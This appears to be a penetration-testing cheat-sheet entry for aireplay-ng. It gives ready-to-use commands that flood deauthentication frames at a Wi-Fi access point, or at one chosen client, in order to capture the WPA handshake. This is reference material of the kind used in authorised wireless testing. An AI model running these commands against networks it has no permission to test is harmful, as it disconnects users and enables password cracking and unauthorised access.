aireplay-ng
aireplay-ng "is used to inject frames."
Start a mass disassociation to capture wifi handshake
tip
This is helpful to do after you've enumerated the wifi access points using airodump-ng
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0
Disassociate a particular client from the access point
From your airodump-ng console, look at connected clients and then target one for disconnection with -c
:
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c 12:12:12:12:12:12 mon0